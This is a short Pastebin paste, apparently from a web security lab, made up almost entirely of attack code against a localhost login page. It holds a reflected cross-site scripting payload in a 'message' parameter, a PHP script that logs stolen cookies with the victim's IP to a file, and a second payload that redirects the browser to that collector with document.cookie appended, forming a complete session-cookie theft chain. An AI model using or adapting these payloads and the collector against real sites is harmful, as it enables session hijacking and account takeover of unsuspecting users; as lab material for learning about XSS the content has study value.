Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>
- <?php
- $file = 'cookies_list.txt';
- $stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . ' Cookie: ' . $_GET["c"] . PHP_EOL;
- file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
- ?>
- http://localhost/getcookies.php?c=test
- http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement